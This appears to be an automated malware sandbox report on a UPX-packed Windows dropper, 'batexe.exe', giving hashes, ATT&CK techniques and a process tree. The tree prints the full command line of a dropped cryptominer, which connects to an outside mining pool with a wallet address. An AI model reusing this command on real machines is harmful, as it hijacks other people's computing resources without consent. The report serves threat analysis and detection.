73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
293s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 15:08

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1888	b2e.exe
4512	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4512	cpuminer-sse2.exe
4512	cpuminer-sse2.exe
4512	cpuminer-sse2.exe
4512	cpuminer-sse2.exe
4512	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2504-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 1888	2504	batexe.exe	85
PID 2504 wrote to memory of 1888	2504	batexe.exe	85
PID 2504 wrote to memory of 1888	2504	batexe.exe	85
PID 1888 wrote to memory of 3892	1888	b2e.exe	86
PID 1888 wrote to memory of 3892	1888	b2e.exe	86
PID 1888 wrote to memory of 3892	1888	b2e.exe	86
PID 3892 wrote to memory of 4512	3892	cmd.exe	89
PID 3892 wrote to memory of 4512	3892	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Users\Admin\AppData\Local\Temp\6ED7.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6ED7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6ED7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\72AF.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6ED7.tmp\b2e.exe

Filesize
22.8MB

MD5
acd2427b00b087cc1a68f6d099eeacf5

SHA1
ccbffafa01e3f91e16ba36b76b62f844f359d51a

SHA256
39641f469003b42e14b9d7c27cd99e90578f65130d1a90ef127f15720ea4064f

SHA512
f27f249f4f2a05fd0e9425981c6cc29de7e205122c3fba81d1576baba7a65e3b10e06fd5b5271fee0a3cb741d2cfe028ec248da1896d9bfd6415be407a9dfd27

Download Submit
C:\Users\Admin\AppData\Local\Temp\6ED7.tmp\b2e.exe

Filesize
5.0MB

MD5
fbafaff874560be24e863ed826978122

SHA1
5f2209a419a955913254ac5a49744fc54d8727ca

SHA256
728b839bd4245df3e0dee2fb61929a7cb80c992f4c80317e9fd9a5459b03b8d3

SHA512
55ed3925803856419f0b759ec1d0683c121d908849075aa454113d19b31de73a89f89e3ad233d7bd6034cf5fd9f72de71ab968dd3587a508a336f4fb3e088bba

Download Submit
C:\Users\Admin\AppData\Local\Temp\6ED7.tmp\b2e.exe

Filesize
5.5MB

MD5
fdf5f72907bd801a30f9834ee3e85460

SHA1
fa27586c46bbddd3703e589318a64487a5a862c8

SHA256
ec9e822cde374a22f6405d68b069437cb0d5d12a26a2942f444b79115e354a19

SHA512
f547d31443290abeceea7394e1d0eb8cb6eb1336712217e8eebebd0247a864a20b3ba3cea493d43583cea5566a7f4db85384008eaa5c5d0f4f8b2b887714dc27

Download Submit
C:\Users\Admin\AppData\Local\Temp\72AF.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
09593c14cc3614820580611fa1bddb5c

SHA1
27e825a4c01df2ff391811ef8bf2e7d24e4b21db

SHA256
36242593d0d9f24be722f8f0f5d360d36a8b3bd409a1073a7c1426bd9b1b6391

SHA512
fd19116f3d23f8a20d76db14e82031a206b5783fa938a7c03328ced0b81ed9b4f4af85e5ae2efaf89cbb479fdfff33918db30fba7944a73f9de3c50deb95def6

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
51a57c612d315cd4202df8e75c1013da

SHA1
e58bc6db0f4c9dd680e300cdc660210316ebcf19

SHA256
7652861f498ad81f347beb2197d0ecd193ddf5645d018e533e840c0765b22b8f

SHA512
cb9b55ca097de0bbec9360f7450cceee0d7c307feb81f59ef0b6caada1cf2862d494a52e3c8eb33a8d894be076298433dbe83ff936feea953c560accfcadb675

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
e8f54c9d2232b5e2661924e19f988e43

SHA1
dcb989bffcd25371a75c61e67222303bbde7bec8

SHA256
d11dbc57e8321c02cc16112a6300d8eb8cd869c3af1931ebb880b2a7273dc533

SHA512
c26b151a25ba76acf2e9beeaa812a2feced12b8c8bcc06f763bcd00e512e3372a6582b48b2542e07e3aac7a8202405edb04db5466637a73438d5e423427fc98d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.2MB

MD5
2ae14b3b45f53dd8617ea435f89279f1

SHA1
8da4b408d8da4c1c6d5fb03a658cf6f78cb312c9

SHA256
f7dec6fe9db579154f8638ff4d084ab4d4acfe690af20619d1ad3f29fedea2ba

SHA512
8a6f5531adc09bf4f81bf0e181474ec6e8790fe42aa8159521ebaf614a352dff28f63ec9de191908d19e6f002cc2f8bd06935d885009d9e37814618ed162a6de

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
fd9982fbb7f51742c68d2350be560e07

SHA1
69b5ec1f4b3a26d3843fc7656d082db0a8160582

SHA256
593cde72b4256dbe836edb6ac463d299dc1c59e1c4c92f8b580a859a395a9817

SHA512
4075d7848085633205e562b6a0cbb69102585bfd82576e3c321b8bcb456e4be783ee86caec489d5676a8023e5b2073763cb3f79f55d82be14c8b6776a1cd609e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1888-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1888-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2504-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4512-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4512-46-0x0000000065110000-0x00000000651A8000-memory.dmp

Filesize
608KB

Download
memory/4512-47-0x0000000001160000-0x0000000002A15000-memory.dmp

Filesize
24.7MB

Download
memory/4512-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4512-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4512-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download